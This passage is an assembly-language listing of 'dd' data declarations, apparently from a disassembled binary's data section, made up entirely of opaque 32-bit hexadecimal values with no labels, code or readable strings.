		dd 1500FE20h, 0AA372448h, 3A0325h, 6D9AD955h, 7CCCC7FCh
		dd 1A70D7E8h, 8708FA60h, 32D3912h, 47E78699h, 301D5773h
		dd 68837D38h, 3D4A6977h, 2B804318h, 61A95AABh, 7A03FA5Eh
		dd 3672676Eh, 776BC85Fh, 0A00500A3h, 3A82DE19h,	0E57E1848h
		dd 696C91B0h, 3DD57058h, 0F900658Fh, 25504441h,	2713D495h
		dd 0EA004717h, 87DF5957h, 0EA620089h, 9DD6198Dh, 0B0C0FEF0h
		dd 0B9E4A78Eh, 0E87900D9h, 0E2577480h, 0FB0017FFh, 6B2C02ADh
		dd 0A5F6F8C4h, 984C73ACh, 0E98A009Eh, 73223CBCh, 52E7E47h
		dd 816785F7h, 61F10083h, 76EE211Eh, 41D9DC00h, 16E98DD0h
		dd 7CF82B38h, 489EF144h, 0E23FBFCCh, 4175009Dh,	2A384058h
		dd 3493B3h, 0B02DD01Eh,	5B00AD2Ch, 0FB41478Ch, 95CD5Eh
		dd 13297BE5h, 0B1ED832Dh, 30D14A01h, 0D55947E9h, 49E970h
		dd 0A765504Bh, 0BE7D85BAh, 0A6E0DC91h, 80671Eh,	271F6B72h
		dd 0AA982C1Ch, 2E521015h, 1D02D684h, 8B386A43h,	0D800DFA8h
		dd 107B0E5Dh, 0BA3A0A00h, 0AD288EAAh, 841B0F48h, 818042F5h
		dd 0D4768CAh, 697FB900h, 76966D0Eh, 249263h, 0C0906FABh
		dd 44540D8Eh, 9D002A74h, 2E6C4B9Ch, 0A8E013C9h,	0A1EDD0h
		dd 753A45FAh, 423DBEA6h, 0AE643248h, 60164213h,	50D32B08h
		dd 4898987Ch, 28584726h, 0A1D53700h, 4F4BE51h, 3CD09063h
		dd 0E00C8A35h, 0E67FB54h, 39A67275h, 0C8D40702h, 0AD100440h
		dd 32560600h, 0D1C93058h, 2CEF2998h, 0BC0054FCh, 74D4884Bh
		dd 0EE189590h, 0CFF4A8DBh, 0F92E0A61h, 7880D6B1h, 38C5C088h
		dd 442B1EF7h, 79C2CA18h, 1C18AC20h, 73E08BA6h, 0C46752A4h
		dd 69D8E626h, 9A8FBD00h, 33007BD1h, 575B1F90h, 60A3CCB7h
		dd 0A9D611E4h, 636F46D1h, 2F90040h, 0CE623DCEh,	0E0046E11h
		dd 8094D70Ch, 0C7DFF666h, 10405D61h, 78808716h,	837E452Ah
		dd 0FE0C673Bh, 0F03940EFh, 0E240904Bh, 80F020B8h, 1330E048h
		dd 70402F52h, 35189998h, 0FFBB03Fh, 0A914EA03h,	254837ECh
		dd 29C8E52h, 40DF8132h,	64A7h, 2D075FE9h, 856F1F0Bh, 12A9A201h
		dd 0DF6578C4h, 60049A8h, 0BA50CD28h, 6600E941h,	0EC99F391h
		dd 18C5E1BBh, 5E67B162h, 1E006E54h, 0CCF93C2Ah,	72887CCFh
		dd 1064E18Eh, 90D849A0h, 81F14280h, 57001988h, 55C535BEh
		dd 625B44h, 8D38C385h, 0AB70A6C8h, 47F46E0Ch, 132F8054h
		dd 984D650h, 0C86EAD8h,	0B1003164h, 5196AE09h, 3CBAE2h
		dd 0E62603E0h, 9734FF49h, 1F954300h, 37750966h,	0D8620004h
		dd 1459A736h, 0C4789CC1h, 3E262910h, 0D415FDF0h, 4E6C5D07h
		dd 0E9B27CC2h, 10A5E38Eh, 0F0956638h, 30CC15F5h, 0DC98679Fh
		dd 25181631h, 0A6A0DD66h, 68818732h, 0E7F918ADh, 59BC3880h
		dd 0DB238ED4h, 737B6CA8h, 95855600h, 29E543CEh,	0D71100FBh
		dd 9247F55Ch, 490AFA9Eh, 10CCE689h, 17F6B605h, 9E8FA9C0h
		dd 0BB8015Ah, 44300CF3h, 0AF62D0EEh, 2C7A57h, 805D35ABh
		dd 1C9F47CFh, 8A8C7D3Ah, 581857CEh, 0FD18B5B4h,	9A68A2B6h
		dd 0F2D607C7h, 47FF266Ch, 39B5044Ch, 0B8572D41h, 4B7A398Ah
		dd 0ED066060h, 0AF403D2Dh, 0AFF70DAh, 0B41A8CF3h, 0E2D95028h
		dd 15C11F01h, 2DBACA16h, 0DF493182h, 609CCD37h,	2203C400h
		dd 0CA40F36Fh, 0B3EC1C1Ah, 4832D4F1h, 90C9E3C7h, 0CA3F2FE1h
		dd 0D98EFA0Ah, 25D8A4F2h, 0F1B718D3h, 0FC5A301Ah, 0B58890D1h
		dd 196B6603h, 3ACA90BEh, 0BC9B504Bh, 2EC0A028h,	0F3051414h
		dd 0A9E064CCh, 0D820ED89h, 0A19A00F2h, 6B16AE6Fh, 54A7F30Dh
		dd 67452380h, 83E623Ah,	0BCF7ACAh, 501DD0F0h, 0DA6C50h
		dd 0B6AF60D2h, 0F614C992h, 0D65E053Dh, 4587C0D4h, 401DC7B6h
		dd 9AFA983Fh, 74D2363Eh, 83B1630h, 7CA6ECF6h, 619C1419h
		dd 17F07CDAh, 7D52BCE0h, 697403E0h, 430656AFh, 0D3C07C88h
		dd 180F9ADBh, 973CE8A8h, 3196190Dh, 0ABDD089Dh,	89558081h
		dd 0A3FDD6B3h, 0A3608C50h, 0DD065AC8h, 0AAF34051h, 0AD81B619h
		dd 0F60356E8h, 0BF361685h, 0F876A083h, 0B18C7A0h, 91A7CF67h
		dd 61AD8F9Ah, 94B7E478h, 861A08C3h, 0FCDDE1B3h,	8811E844h
		dd 7128E0B0h, 0DDCB2467h, 50929824h, 796320F6h,	37DA2590h
		dd 0C6703D58h, 6BE8F89Dh, 0B7B879C0h, 6A56B3h, 1876154Dh
		dd 94579798h, 1DD1DD3Ah, 3716CE9Bh, 0F7063B1Eh,	6108DCB3h
		dd 57718B2h, 2E20B6C5h,	18926110h, 0F0CFB997h, 41C74917h
		dd 0B7C1D8A1h
		dd 88EE2EAh, 3CFF51F3h,	67208AB2h, 300CB58Fh, 0A4267708h
		dd 0A71B4359h, 7E1FB309h, 181E7418h, 103D1397h,	0B40EDDF0h
		dd 98A2BB17h, 19DE3650h, 282BAA73h, 1D40BE9Ah, 77068517h
		dd 60383C4Eh, 65B70868h, 0F6E8B4A5h, 8F182E65h,	0C0E182A0h
		dd 0EED33708h, 503097B6h, 295A4084h, 6F26E8B8h,	0E4A0301Bh
		dd 0CCC3B0F8h, 1504C277h, 0FFB28C1Ah, 831836C0h, 31931702h
		dd 769403CEh, 783E1AF7h, 0A14066B0h, 7C55F008h,	35D73105h
		dd 0FC0F050h, 32722602h, 9600BFD4h, 58B8159Bh, 0B8633817h
		dd 77A0F841h, 50C61C34h, 0F3E0F912h, 8D3128BCh,	9827F431h
		dd 5710D2C8h, 9843F563h, 0A9291F68h, 72143C43h,	0F01BCC04h
		dd 0F1100803h, 4C80BD30h, 6D418A43h, 6A00F4E6h,	0A504C4F9h
		dd 8E75BFh, 0C9B9F6DBh,	7378BA0Eh, 7181B53h, 5F6C388Dh
		dd 0AE753900h, 7A4F00B5h, 0BEA31DB3h, 1CA51949h, 9F989A83h
		dd 2D1888DCh, 2BBC0001h, 4BC2C428h, 7DFE1CD3h, 9E60C57Ch
		dd 2C3C2120h, 0A7623803h, 0AB1E01D8h, 0DFE200A8h, 9DE7C2CBh
		dd 0E1B32500h, 22121485h, 67E0C0CCh, 1BD21B1h, 0E238F666h
		dd 3E81F0E2h, 410F6937h, 0E1005A36h, 62120B27h,	281DF7FFh
		dd 82003804h, 0BD5702D5h, 3019059Eh, 202CCDA2h,	82FE6554h
		dd 183BA20h, 0E489F941h, 98338A5Ch, 0FD4058B0h,	0CBD87A0h
		dd 0E98C2B62h, 10C05361h, 0DDD40878h, 8100A9CEh, 0DCE7F6A0h
		dd 60E46FF2h, 3D57FBC1h, 8B040F83h, 450635E8h, 8C0FBCA1h
		dd 33420A7h, 0CEDEE102h, 57E10D08h, 4A1ABA7Dh, 16250024h
		dd 1A7D195Ah, 0C0C1002Dh, 0DF4478A9h, 3A0CB230h, 887A96F4h
		dd 0E0140076h, 67E1B40Eh, 350071DEh, 5CBBF377h,	29CB8D32h
		dd 0C01C8478h, 80A5E568h, 317DF40h, 0B25354C2h,	72A3520Ah
		dd 0C3C44110h, 9DDE1CF0h, 3FC0F20h, 0C2F960B7h,	5C987F3Ch
		dd 0F500DD52h, 0D779125Eh, 5645E48Fh, 138028CDh, 0D1546446h
		dd 767E722Dh, 4A8502C9h, 0A6603D25h, 0F9009BEDh, 0A1C9D620h
		dd 12C861Bh, 0A7A885Fh,	80D0B68Bh, 0D209DD38h, 1D69CA85h
		dd 0E11CB356h, 0D425C8E0h, 3D03F98Ch, 8A8E60A0h, 4A08D960h
		dd 0E5B35CDCh, 4502204Eh, 0D31CCD35h, 10CB1D03h, 0F0C59C30h
		dd 7101CCC6h, 387D80EEh, 67B4AC02h, 40B97F6Fh, 0F0B22235h
		dd 0F827C91h, 0B7F10507h, 0E20DB300h, 8C3DAB5h,	8FC82895h
		dd 0E893B81h, 3723C0h, 17D2F6D6h, 746E616Ch, 1F076D77h
		dd 993C89CEh, 2527B410h, 87B907C4h, 43B219BCh, 0A7E278CCh
		dd 7B791C0h, 0E50E33FAh, 804B03D5h, 0C8D45215h,	341E52F5h
		dd 851560C3h, 9C001EEAh, 29C8A8B9h, 60181F35h, 6870811h
		dd 89CF7803h, 79D56F7Ch, 1E0A74E0h, 9F927h, 0E2C9DB47h
		dd 945FE855h, 2842F0A8h, 3DDB9C0h, 0DC8079E5h, 40E3633Fh
		dd 0F039AE2Fh, 7B2053Eh, 98788F6Fh, 74710C08h, 0BC4866A2h
		dd 0B46DC203h, 1012EEE7h, 1E1FC0A0h, 0C70C13DEh, 0E3E7085Bh
		dd 0B23EDC10h, 3005A737h, 0E71DA2C3h, 0F8380B86h, 0C009C00Fh
		dd 587B496h, 0DAA8E463h, 49381831h, 0C2D3B0BBh,	7E59C8A0h
		dd 0A07B90Ch, 627388A3h, 485308A1h, 25401040h, 205638CCh
		dd 0A2843107h, 0F0266F40h, 20DFD3E7h, 6710C818h, 0C031CCD0h
		dd 3A3327A8h, 0C65D035h, 37BAE750h, 3860B610h, 0E5602E98h
		dd 5AEB3F95h, 0E92D589h, 10E34003h, 0BAB175A1h,	12582010h
		dd 78944895h, 7A159714h, 0D427ECh, 0E78D1E1Ch, 0C4943135h
		dd 826C71C0h, 9C821A80h, 8497A87h, 102E221h, 0BAAC8320h
		dd 45181914h, 8A6BB82Bh, 0B0340720h, 36F58705h,	0B00DB40Ah
		dd 8C92670Ah, 34A4C700h, 642775E5h, 81D90831h, 247855A4h
		dd 0D0C670ACh, 0F8088C35h, 0E7A20734h, 43A11875h, 28319EF5h
		dd 53D51915h, 6C3728BEh, 81C1C408h, 40AD359Ch, 0FC4B588h
		dd 0D45308C4h, 1A02609Eh, 63A50B3Ch, 1E12FC01h,	2937C08Ah
		dd 0D45A09D8h, 0ED045C3Ch, 3973478Fh, 9E5CC080h, 18C8DCDEh
		dd 6B32F888h, 3FA7B909h, 11040233h, 50D4B0C8h, 0EC60C5C5h
		dd 2C2C2043h, 9E31F36Bh, 0B43C987Bh, 24075030h,	0F0F0C55Ch
		dd 7C0081F9h, 4D4070Ch,	0A191139Ch, 0A82009F0h,	938E3287h
		dd 0FC435208h, 0B2286BC0h, 6420C724h, 0CF506701h, 24D18578h
		dd 1528CF0h, 42C6C1F1h,	0CC0C9493h, 2F07DEB3h, 0CCB6715Fh
		dd 4A761990h, 7BE40CD7h, 0C5088645h, 0B7D9C305h, 202C6ACCh
		dd 4CFF08EBh, 0AA1E0E84h, 657B3400h, 7AA899E3h,	1F93780Ch
		dd 36866A5h, 0B7CC0105h, 289657E2h, 71C83F00h, 76186F82h
		dd 648008Ah, 89C112D1h,	703092DEh, 0B6B1087Ah, 8024A7ADh
		dd 41CEBB47h, 76011EB8h, 0A85EF9EAh, 184B564Ch,	81A41C78h
		dd 0CAB4332Bh, 9F306C8Dh, 12327B0Ch, 412A300Fh,	300F9Bh
		dd 7D8B3A60h, 7B76A2B5h, 0A84B2B0Ah, 855C60CCh,	902260Ah
		dd 6D6A76A4h, 90A48038h, 3CCA8E8h, 2578BA51h, 85E073E2h
		dd 20CC6736h, 3C50830h,	6CA85935h, 2CA05D7Dh, 0D0CAB5D0h
		dd 0E8238438h, 0A92C6860h, 78E4612Bh, 0F031C04Ah, 135CB032h
		dd 0DA051426h, 0D7E014F0h, 802637E8h, 18F19B83h, 183F3978h
		dd 2490C827h, 0C08E648h, 286BC225h, 78AC3A59h, 0B8879118h
		dd 11805A41h, 33E5F070h, 803886B2h, 0A2050815h,	6545F0C4h
		dd 534E1251h, 0FE400A96h, 0A147F8F4h, 99B96214h, 48A0CC4h
		dd 5639E064h, 7C00C85Eh, 0CE60949Ah, 9300D1BCh,	40AE8FAAh
		dd 1F76AB0Ah, 733636Eh,	407D8336h, 0DEB9DFB6h, 0EB0C23FAh
		dd 8D55966h, 0F90C40D9h, 0D1299903h, 0E0FE7416h, 0F88E0F79h
		dd 0BEB00339h, 0BA1CF501h, 0CB5E75A1h, 5A7F15C0h, 0BF0E18CFh
		dd 0D7C3B51Ch, 0F62FC72h, 12939C08h, 4925C04h, 0BC03C97Ch
		dd 3CE00C7Eh, 20C2FA4h,	10CD9475h, 0E7A00040h, 0BF223836h
		dd 44098A7Ch, 809A77F8h, 33DA89ADh, 92323111h, 1A4E7C30h
		dd 2D6BEA00h, 0D211395Fh, 2288E01h, 5DF49D95h, 3E1E1C4Fh
		dd 507848EBh, 28997205h, 10C61020h, 0DBFC3194h,	0E0AF1288h
		dd 59C41C72h, 4B3C4CBCh, 4A20377Fh, 1B0EBD5Dh, 90F078D4h
		dd 40EF2FBBh, 96877A08h, 80A9DCF8h, 0A14C4CB1h,	9EA65908h
		dd 0D9D200E4h, 0AC350169h, 605E4A23h, 0F335DCE8h, 80F478A1h
		dd 0B72EF538h, 874FFC5Dh, 61EA3581h, 8453E5F0h,	5A711579h
		dd 7DA26CF3h, 0D17F9581h, 4084413Ah, 0DD5AF098h, 557C01F2h
		dd 1B246A55h, 6B8400D4h, 8B7FC74Fh, 0C3527110h,	0CCC23A48h
		dd 875B4020h, 0F93C817Ch, 88D2AF35h, 0AFEF2C0h,	637C1B75h
		dd 0DCC250F1h, 45414481h, 9808505Eh, 94AD721Ah,	0AEB6FE82h
		dd 89221DDh, 6905EB7h, 0C1AF0308h, 163215D9h, 0DEE084B7h
		dd 126143C7h, 0B83ED261h, 782CF9A9h, 0A00C8E49h, 0A0348896h
		dd 0A3BCAFE6h, 0E19E0F20h, 0A0A06EC7h, 68361210h, 2494C0A1h
		dd 8278DB08h, 514DD515h, 2880A04Ch, 4911629Ch, 5C480AB2h
		dd 44935140h, 0B779DFC0h, 38AF6089h, 72951F52h,	4B63DC15h
		dd 0E68CE0B4h, 399A6173h, 305F24F2h, 5157414Ch,	0D9278180h
		dd 39A0CD49h, 385E62E8h, 70B44B6Eh, 10230C39h, 3209ACA7h
		dd 98AD8133h, 37700CE8h, 68475100h, 61D64C70h, 6318006Eh
		dd 0F0A798AEh, 0AA3D89A5h, 1101FEC9h, 0B6FC48Dh, 1C4846F5h
		dd 0FFEFED2h, 9956CA02h, 8AA0446Fh, 0D56F314Ah,	0E0835121h
		dd 3810057Eh, 0E7706260h, 208A46F9h, 9121DF0Ah,	71EDE081h
		dd 7E60E610h, 4AB08738h
		dd 0C4EA748Ah, 3C82D170h, 57F208DEh, 270067C2h,	0A899F7Ah
		dd 0EA08C617h, 0CA2B80F3h, 0A16078C8h, 0ED13B123h, 9DC74884h
		dd 0F5350FA5h, 16DBA078h, 730A2078h, 0C71EE1B0h, 9F586E5Ch
		dd 0F8AF0B08h, 86260083h, 0D82AED22h, 0FB00C3F9h, 7BA832B7h
		dd 0E473BDh, 0F12BE7E3h, 2E5CC8CEh, 43386962h, 3D7E1E25h
		dd 0D5123300h, 17912B7Dh, 0AE5C01C9h, 39827FFh,	3F030F22h
		dd 0E444D1E3h, 73B17001h, 77EE5C61h, 0A62D098Fh, 48F80E06h
		dd 8087C373h, 0E00F8220h, 2B08E84Eh, 3E601551h,	8E0A3BBAh
		dd 0D07C27FDh, 0E51839CDh, 71404F38h, 0F888ED31h, 0ADF02D34h
		dd 929E184Ch, 0AF113873h, 36F83D62h, 0A083C2Dh,	866780D5h
		dd 0A83A0631h, 742D372Bh, 46EB4740h, 0D1D0A8ECh, 0AE38C26Bh
		dd 70B6288Bh, 5CC71126h, 0E9F1A830h, 4063813Eh,	0CA514E90h
		dd 4F9B4A1h, 885783Ch, 6DDFC69Dh, 48A6910Ch, 2ED8400Eh
		dd 7CBD502Bh, 0CE82D749h, 1440D613h, 0FF0566B1h, 0BDC3CE5Ch
		dd 74E57C68h, 0D356332Bh, 74835138h, 7C387868h,	6482B0D3h
		dd 3888F7ACh, 0EE050771h, 7468B525h, 517D1802h,	751139AAh
		dd 232F03E3h, 13E0C3E9h, 89399DFAh, 5172D431h, 5CA02E42h
		dd 18615383h, 70A5D139h, 8EADD442h, 10818C94h, 6E4D40EEh
		dd 183C7832h, 8E98403Dh, 1210DDA5h, 4EDC0690h, 0EE240860h
		dd 0FEF810DFh, 278B31E1h, 4108F179h, 0BAB42E94h, 38371868h
		dd 0AF28C070h, 0C4EC019Ch, 209A81B9h, 97289150h, 6831F037h
		dd 3E10836h, 8CC93101h,	0C0048C58h, 2FC9CC6Ch, 0DC2B0E18h
		dd 1CC0B028h, 404D7CC9h, 5D32B1D9h, 0BEC7F0A4h,	6B2D02B0h
		dd 7A2C7B5Eh, 8CCE2441h, 78068891h, 88C7657Ch, 17987CC0h
		dd 63DE1518h, 0C4D77181h, 0C1102E48h, 3B6E00h, 0AD9E43h
		dd 0FF91FD7Ch, 0DE40D3A7h, 48B86C00h, 214E3E6Eh, 3F75730Eh
		dd 71F13777h, 13C614D7h, 0F4B01C99h, 0EB2066EDh, 0AD410022h
		dd 937E022Ch, 0DE1E0F99h, 1F3A9724h, 3E066410h,	3110630Ah
		dd 360865FBh, 691EF05Eh, 0CC3E5F40h, 9E284919h,	51889036h
		dd 7C5DF808h, 0FBE192Ah, 867F1862h, 0F3DC3E30h,	0F0AB3E20h
		dd 0EFE55E0Ch, 47CC110h, 4F67FE02h, 969CD3C6h, 0C2360064h
		dd 0A46D38B1h, 9666E175h, 19C88169h, 909C7B9Eh,	5ED0844Ch
		dd 0BE0D88E6h, 8DFAE1D8h, 0C87BFE88h, 0C60758F1h, 0E263E137h
		dd 2A2D9E10h, 6384ED09h, 0ABFEC8A6h, 7936087Ch,	180879F0h
		dd 0E82BF63Eh, 408163FCh, 0F0DD3998h, 0EE64819Eh, 0FE039808h
		dd 1031FF1Bh, 3A5190Fh,	84CA3894h, 0E8D67E14h, 0F09D9310h
		dd 2876A8A9h, 188463BDh, 40C5FE01h, 60C161ACh, 53C6DC9Dh
		dd 0B6802426h, 6F196356h, 6BA140C3h, 0AAD020C4h, 0DC9CDE12h
		dd 15F32878h, 0C4B72629h, 805BC118h, 0CB65451Eh, 0EC1DCC88h
		dd 8CAEE0Ch, 0ECDC579Fh, 0DA2BA181h, 686110E2h,	938CA1C2h
		dd 9D07645Bh, 6893A95Eh, 0BC248108h, 3DC160D6h,	8CF5D9A4h
		dd 0C0362139h, 0D7D12B7Eh, 1A8F4F54h, 9327CCE4h, 0A91587A4h
		dd 0E0D8E479h, 617E521Fh, 54E17194h, 0AE3C207Dh, 0D8087968h
		dd 0FC550A54h, 4FF89CFEh, 9F78236Ch, 9F745456h,	0BCF8953Eh
		dd 98A11EACh, 0BE98E8E4h, 0C4298B78h, 82F48210h, 0D88EFC1Ch
		dd 4CCD885h, 78D6A9DCh,	0E9AC1867h, 0BAC1994Ch,	0F324687Fh
		dd 9300E435h, 781A22F8h, 1D9C00EAh, 0A7BBAA0h, 0AA00617Fh
		dd 3D14B919h, 89DC0Fh, 0CD5F51DEh, 0E41F50ADh, 569E1CA5h
		dd 6B42CE44h, 0D853FC00h, 1103BF51h, 0BE3F745Bh, 0F3081E6Eh
		dd 55023EFAh, 0E3DF508Fh, 0B0042896h, 1509BD52h, 38FE981Fh
		dd 88C4CCDFh, 0CC3DE69Fh, 37200EDBh, 0E9BC0012h, 0B7A31DE4h
		dd 4100F7AEh, 5F74B4EBh, 1D5195C0h, 73D25FFh, 0C1DC5E7Fh
		dd 81BD989Fh, 0F74CAE08h, 3086AB61h, 80C99B3Fh,	88E58A28h
		dd 0BF8CF950h, 640FCE41h, 0BF98993Ah, 205C9117h, 0A1F7B107h
		dd 0E143AFFAh, 0D1091FFFh, 5AC1041Dh, 600F0CAEh, 0C5B579DFh
		dd 7876E878h, 3A15AEC0h, 3BDC0D62h, 0F7B4867Ch,	0E958BF01h
		dd 816818DBh, 421608Ch,	0B91410DDh, 0EA9F08D4h,	7D160106h
		dd 4BC55F50h, 6D9F0E34h, 1CD11867h, 48836346h, 0B030E161h
		dd 751FB868h, 0FF740AB3h, 0F0D8ABBCh, 0E500B352h, 0F6BDD3Bh
		dd 0A1B0133Ch, 488408D4h, 34017B9Fh, 0B82EB46Ch, 0C3D3E805h
		dd 8A3DDC48h, 0B574F81Ch, 0ABA21F85h, 1862A078h, 0D929B464h
		dd 47514EFCh, 8878A3CCh, 0E3A243C0h, 78DC6F6Eh,	2B4750DEh
		dd 0A2607CB9h, 89286B91h, 1F705EBCh, 0F358CE4Fh, 48CF5C31h
		dd 0BF2B1416h, 883D606Ch, 0DA61E515h, 17CD7C38h, 0BE06D842h
		dd 0AD090CF4h, 1C39D445h, 44F83D24h, 9F47814h, 63A9D7Fh
		dd 14086680h, 0D43444FFh, 0B859AA14h, 6A2C612h,	3868AEF4h
		dd 0C6F4724h, 70099218h, 7FF0A190h, 23FF0886h, 0E33E10DCh
		dd 793F08D7h, 0CC610D9h, 38ECB2BFh, 0C0D24889h,	60677B38h
		dd 50F08D8h, 0CA0C1F75h, 571B3862h, 4081C07Dh, 1073C607h
		dd 0CCDB703Ch, 0F8096F38h, 0D17F80C6h, 400EE8C8h, 0D4AFA0A3h
		dd 0AA74278Bh, 48C44A8h, 63873814h, 0DB7E8D8h, 8C96E026h
		dd 605AB1BDh, 88C4201h,	2818CDFBh, 0A0F06365h, 1890F07Ch
		dd 0C92194C8h, 1265B0FCh, 0F07C1F48h, 898C3C49h, 79FCD020h
		dd 71538D6h, 552FF15Ch,	8BDF03F8h, 701513D3h, 0E08C76EAh
		dd 20CA410Bh, 5C10DED0h, 6C181258h, 8903E8E4h, 78D908CAh
		dd 2A4EA3D8h, 14B0187Dh, 0D8DFBD7Ch, 1F2B0D20h,	0A9607C14h
		dd 0C461E8F8h, 81D51C41h, 4120BF68h, 5FDD3FD0h,	14F05080h
		dd 6DC1D012h, 80DA1C0Ch, 0F09B551Fh, 80104FCEh,	834C8E31h
		dd 18155FAh, 2A3FB88Dh,	0BA2C3140h, 8103150h, 2920DE7Fh
		dd 8C5FE91Fh, 0D1B3EC03h, 980DCC1Ch, 487324FCh,	5AFF598Dh
		dd 52ECD1E8h, 40401898h, 5C48E47Fh, 29171BA4h, 0CC91BD08h
		dd 0A45E95F8h, 4A84F803h, 0C87EFBDAh, 0A472CE28h, 0E0A038D1h
		dd 3181DD92h, 0BC38E62Fh, 0E5FF0117h, 779C6C04h, 69C4BB08h
		dd 0E85C0CC5h, 4CBBCC39h, 156A20E0h, 8CCA500Ch,	0ADE22B7Ch
		dd 588406Ch, 8A051C2h, 0E1181816h, 7C78F8A2h, 94FF5009h
		dd 372EB027h, 0A210151Fh, 7CB48F47h, 31B9F89Fh,	1C48E4DAh
		dd 0F8506439h, 3BDC89Ah, 3860C13Bh, 0E2501309h,	1109C0C7h
		dd 31D3211Fh, 331E3274h, 930E3509h, 0F304DFC8h,	9B004640h
		dd 2AD324FAh, 15F8CB74h, 0AF10CD63h, 5893E013h,	0CC9D0EA9h
		dd 0AC837365h, 2CC05BF5h, 980C6CC2h, 8E6BB8Ch, 1F6D780Eh
		dd 0C6F41CCh, 0EC20A62Ch, 99EABB1Fh, 0D3D87700h, 525ABDh
		dd 0F10A95D4h, 7B38AD03h, 8E64B28h, 3499E300h, 6B45868h
		dd 0B5CA307Ah, 98EAFD78h, 8CEEEE8h, 80108FECh, 99C2776Ch
		dd 305D524Ch, 3B715BC1h, 0DA518CF5h, 2B4CA07Fh,	401CC16Dh
		dd 0AF9D8B61h, 88BA01F9h, 670CD08Ch, 56438C70h,	540EE5C3h
		dd 6837FA8h, 0C2641A15h, 0DAF7E080h, 0A1406105h, 561028FAh
		dd 0C2138B8h, 96E3EF57h, 0A17FC7D2h, 0CF681B56h, 442E8667h
		dd 53A7769h, 2A4C9D13h,	0F9686801h, 0A1710800h,	9A06B3A6h
		dd 0ECA0C2FBh, 6CB4C5FEh, 3DBE5614h, 8A7A1038h,	1183EC0Eh
		dd 812A0C84h, 0BC6C4C18h, 198B1408h, 18A512ECh,	6ACD2004h
		dd 79C5D105h, 0A668E484h, 1959BE20h, 681F33DAh,	0C00C2774h
		dd 2799D9A9h, 0F081516Ah, 74A12BEFh, 0DF24E0F0h, 39C4981Fh
		dd 4C03831Ah, 0D82B1E97h
		dd 0ECE08CCCh, 0A85EF304h, 48C2FAA8h, 0CE2BA09Dh, 27E36074h
		dd 39DFD171h, 189EA0C8h, 0E52C0844h, 88A89C51h,	0AE1EC11h
		dd 1EB0630Ch, 0CC18602Ch, 0AE20E6B9h, 636CF86Eh, 2DAC18FDh
		dd 85322878h, 837C38E7h, 0A4788CC4h, 86FFD06h, 446C7620h
		dd 6D407CAFh, 60ED56F5h, 0C1077980h, 9CA01573h,	63505F3Ah
		dd 0B8AF7298h, 37C19B81h, 9A000BDBh, 4098B2A9h,	0C0B4C957h
		dd 0EBB9DFFCh, 7A38C810h, 0B1110C85h, 0B37BF404h, 602D20C2h
		dd 0FB854C28h, 12A0188Ah, 0C8D215E8h, 3DFE92F0h, 60C212E4h
		dd 409D86DAh, 93012BDCh, 85E3C03Ch, 12441FBAh, 38B566D1h
		dd 8E48A127h, 0D6637808h, 30138B99h, 8CA0EF20h,	98AFC11Ah
		dd 94254802h, 1A14485Dh, 6CF0C56Bh, 0CF987CC3h,	0E05D1008h
		dd 3EFA0911h, 460E40BEh, 0C87B280Eh, 0A2710181h, 2738361Eh
		dd 6E2FC1BCh, 39894ED6h, 2889D23Ah, 424188Ah, 8221CBACh
		dd 38405A40h, 30B2E2CCh, 4C5C3649h, 0F31062D0h,	0A84BCEDh
		dd 7EC449DAh, 729A80B4h, 15F61ECCh, 6C248C90h, 5391A045h
		dd 8740443Ch, 57F29C40h, 0F8198EDh, 11E6A88Dh, 7460BA7Ah
		dd 0F05D424Ch, 283DF7A4h, 1D4BD11h, 1EC7213Ah, 42C8AB56h
		dd 0C0BE61D8h, 8200288Ch, 0E70C822h, 4DE1D8C3h,	5212D850h
		dd 581C056Ah, 852869F3h, 1517F590h, 4B7A2021h, 0B0136C00h
		dd 66A2CCA0h, 0F5E2D0F1h, 458EB0C4h, 18737706h,	9CC1362Bh
		dd 2328A8CCh, 0DA0C0FBEh, 58866941h, 0F912F837h, 87C0834h
		dd 107D2C06h, 0EEDC2818h, 946528E0h, 8026FD8h, 10D34F86h
		dd 0E02BCB28h, 0F6946E49h, 98ED11F0h, 6EBA820Bh, 1F006168h
		dd 90ECF09Dh, 36251937h, 98BE8580h, 26CF0210h, 45961C69h
		dd 0A8726C4Dh, 0C51E06D0h, 4269020h, 8762A0C0h,	828D2438h
		dd 4448B56Ch, 0B8C6EF31h, 3120A3DDh, 8E10A123h,	99208C97h
		dd 40B218D5h, 28646704h, 9092F610h, 0A0B84F73h,	561811B8h
		dd 0B71A840Eh, 45FB8C05h, 0D3544ECh, 90E099B8h,	1E333610h
		dd 488C6CE8h, 3C203E77h, 0E9C57890h, 9C065BC5h,	2A18587Dh
		dd 509486D9h, 6234A49Ah, 9467B895h, 0E8E0DE06h,	4CD0C38Fh
		dd 8831290Fh, 0D7ACE87Bh, 1D6CE441h, 155C7C05h,	492E0442h
		dd 2CFA00BCh, 0CEC662B0h, 465F8207h, 8641C592h,	66E09FCCh
		dd 1F9B7C43h, 7560D26h,	0C0F5E5E6h, 622D2906h, 574D8F0h
		dd 23F4661Eh, 0E1CF2606h, 90C13010h, 63BF7908h,	0D60752F8h
		dd 607F3729h, 0BD2F5F70h, 0A74600D9h, 63386270h, 130122B9h
		dd 9BD40F6Ch, 90994E2Dh, 0B17199F6h, 73665141h,	0C381030Fh
		dd 9C2E7BCFh, 12C6BB31h, 0B466038Fh, 5186A831h,	504F77A6h
		dd 2A82120Ah, 845B4228h, 0EFD68600h, 37060062h,	71E663CDh
		dd 92007674h, 8A43EAF1h, 0B664BA1h, 1C451BABh, 4F394880h
		dd 7900E6BEh, 43BB5671h, 7403EBFCh, 0AF8B1F42h,	0E2EA4659h
		dd 561F18F3h, 8C0E8F1Eh, 0CA0B835Bh, 0CDCBC1B1h, 61EB0887h
		dd 0A42BC2FAh, 490C4B00h, 0E4CB2980h, 0DA396044h, 0BC467B7Fh
		dd 380DB618h, 60A7058Bh, 0E4560C88h, 0B875C696h, 0ABE807E4h
		dd 6B089261h, 188F29FBh, 2BC625C4h, 0EB0108CFh,	6B8FA7D7h
		dd 0B08C676Ah, 90E00582h, 29803A3Ch, 77E25C09h,	0EFF638F0h
		dd 0CCAB9CA0h, 0F14EA4A8h, 0D7304BF0h, 3BDF6899h, 0A70B7180h
		dd 57AC886Ch, 0D60FD144h, 96C8C88Ch, 0A1A83A52h, 8509453Fh
		dd 0A8CA3641h, 0E423CC04h, 2A3AE805h, 41D414B0h, 0FD16C444h
		dd 8D0B0480h, 848C97Fh,	0E8EB0402h, 0C78A9895h,	76604C46h
		dd 188FB257h, 485C12ABh, 58D01E98h, 9BAA894h, 0E7FA6C34h
